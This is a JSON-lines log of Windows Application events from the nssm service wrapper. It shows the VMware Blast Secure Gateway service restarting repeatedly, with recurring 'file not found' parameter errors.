{"@timestamp":1646665635075,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156297}}
{"@timestamp":1646665635076,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151588","0"]}}},"module":"Application","provider":"nssm","sequence":156298}}
{"@timestamp":1646665635077,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151588","151588","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156299}}
{"@timestamp":1646665635096,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153132","0"]}}},"module":"Application","provider":"nssm","sequence":156300}}
{"@timestamp":1646665635096,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153132","151588","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156301}}
{"@timestamp":1646665635113,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156302}}
{"@timestamp":1646665635113,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156303}}
{"@timestamp":1646665635114,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156304}}
{"@timestamp":1646665635115,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156305}}
{"@timestamp":1646665763628,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156306}}
{"@timestamp":1646665763630,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156307}}
{"@timestamp":1646665763631,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150028","0"]}}},"module":"Application","provider":"nssm","sequence":156308}}
{"@timestamp":1646665763632,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150028","150028","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156309}}
{"@timestamp":1646665763648,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156310}}
{"@timestamp":1646665763648,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156311}}
{"@timestamp":1646665763649,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156312}}
{"@timestamp":1646665763650,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156313}}
{"@timestamp":1646665892231,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156314}}
{"@timestamp":1646665892232,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156315}}
{"@timestamp":1646665892234,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150844","0"]}}},"module":"Application","provider":"nssm","sequence":156316}}
{"@timestamp":1646665892236,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150844","150844","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156317}}
{"@timestamp":1646665892260,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156318}}
{"@timestamp":1646665892262,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156319}}
{"@timestamp":1646665892262,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156320}}
{"@timestamp":1646665892266,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156321}}
{"@timestamp":1646666020747,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156322}}
{"@timestamp":1646666020747,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156323}}
{"@timestamp":1646666020748,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150832","0"]}}},"module":"Application","provider":"nssm","sequence":156324}}
{"@timestamp":1646666020748,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150832","150832","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156325}}
{"@timestamp":1646666020764,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156326}}
{"@timestamp":1646666020765,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156327}}
{"@timestamp":1646666020765,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156328}}
{"@timestamp":1646666020766,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156329}}
{"@timestamp":1646666149642,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156330}}
{"@timestamp":1646666149643,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156331}}
{"@timestamp":1646666149644,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153532","0"]}}},"module":"Application","provider":"nssm","sequence":156332}}
{"@timestamp":1646666149646,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153532","153532","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156333}}
{"@timestamp":1646666149663,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156334}}
{"@timestamp":1646666149664,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156335}}
{"@timestamp":1646666149664,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156336}}
{"@timestamp":1646666149665,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156337}}
{"@timestamp":1646666278181,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156338}}
{"@timestamp":1646666278183,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156339}}
{"@timestamp":1646666278184,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153156","0"]}}},"module":"Application","provider":"nssm","sequence":156340}}
{"@timestamp":1646666278184,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153156","153156","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156341}}
{"@timestamp":1646666278201,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156342}}
{"@timestamp":1646666278202,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156343}}
{"@timestamp":1646666278202,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156344}}
{"@timestamp":1646666278203,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156345}}
{"@timestamp":1646666406692,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156346}}
{"@timestamp":1646666406693,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156347}}
{"@timestamp":1646666406694,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152728","0"]}}},"module":"Application","provider":"nssm","sequence":156348}}
{"@timestamp":1646666406694,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152728","152728","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156349}}
{"@timestamp":1646666406710,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156350}}
{"@timestamp":1646666406711,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156351}}
{"@timestamp":1646666406711,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156352}}
{"@timestamp":1646666406712,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156353}}
{"@timestamp":1646666535233,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156354}}
{"@timestamp":1646666535234,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156355}}
{"@timestamp":1646666535235,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152644","0"]}}},"module":"Application","provider":"nssm","sequence":156356}}
{"@timestamp":1646666535236,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152644","152644","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156357}}
{"@timestamp":1646666535252,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156358}}
{"@timestamp":1646666535252,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156359}}
{"@timestamp":1646666535253,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156360}}
{"@timestamp":1646666535254,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156361}}
{"@timestamp":1646666663759,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156362}}
{"@timestamp":1646666663760,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156363}}
{"@timestamp":1646666663760,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153124","0"]}}},"module":"Application","provider":"nssm","sequence":156364}}
{"@timestamp":1646666663762,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153124","153124","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156365}}
{"@timestamp":1646666663779,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156366}}
{"@timestamp":1646666663780,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156367}}
{"@timestamp":1646666663781,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156368}}
{"@timestamp":1646666663782,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156369}}
{"@timestamp":1646666792333,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156370}}
{"@timestamp":1646666792334,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156371}}
{"@timestamp":1646666792335,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152916","0"]}}},"module":"Application","provider":"nssm","sequence":156372}}
{"@timestamp":1646666792336,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152916","152916","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156373}}
{"@timestamp":1646666792355,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156374}}
{"@timestamp":1646666792356,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156375}}
{"@timestamp":1646666792356,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156376}}
{"@timestamp":1646666792357,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156377}}
{"@timestamp":1646666920917,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156378}}
{"@timestamp":1646666920917,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156379}}
{"@timestamp":1646666920918,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152540","0"]}}},"module":"Application","provider":"nssm","sequence":156380}}
{"@timestamp":1646666920918,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152540","152540","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156381}}
{"@timestamp":1646666920934,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156382}}
{"@timestamp":1646666920935,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156383}}
{"@timestamp":1646666920935,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156384}}
{"@timestamp":1646666920936,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156385}}
{"@timestamp":1646667049436,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156386}}
{"@timestamp":1646667049437,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156387}}
{"@timestamp":1646667049437,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153348","0"]}}},"module":"Application","provider":"nssm","sequence":156388}}
{"@timestamp":1646667049438,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153348","153348","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156389}}
{"@timestamp":1646667049455,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153372","0"]}}},"module":"Application","provider":"nssm","sequence":156390}}
{"@timestamp":1646667049455,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153372","153348","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156391}}
{"@timestamp":1646667049506,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156392}}
{"@timestamp":1646667049507,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156393}}
{"@timestamp":1646667049508,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156394}}
{"@timestamp":1646667049509,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156395}}
{"@timestamp":1646667178006,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156396}}
{"@timestamp":1646667178007,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156397}}
{"@timestamp":1646667178007,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153568","0"]}}},"module":"Application","provider":"nssm","sequence":156398}}
{"@timestamp":1646667178007,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153568","153568","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156399}}
{"@timestamp":1646667178024,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156400}}
{"@timestamp":1646667178024,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156401}}
{"@timestamp":1646667178025,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156402}}
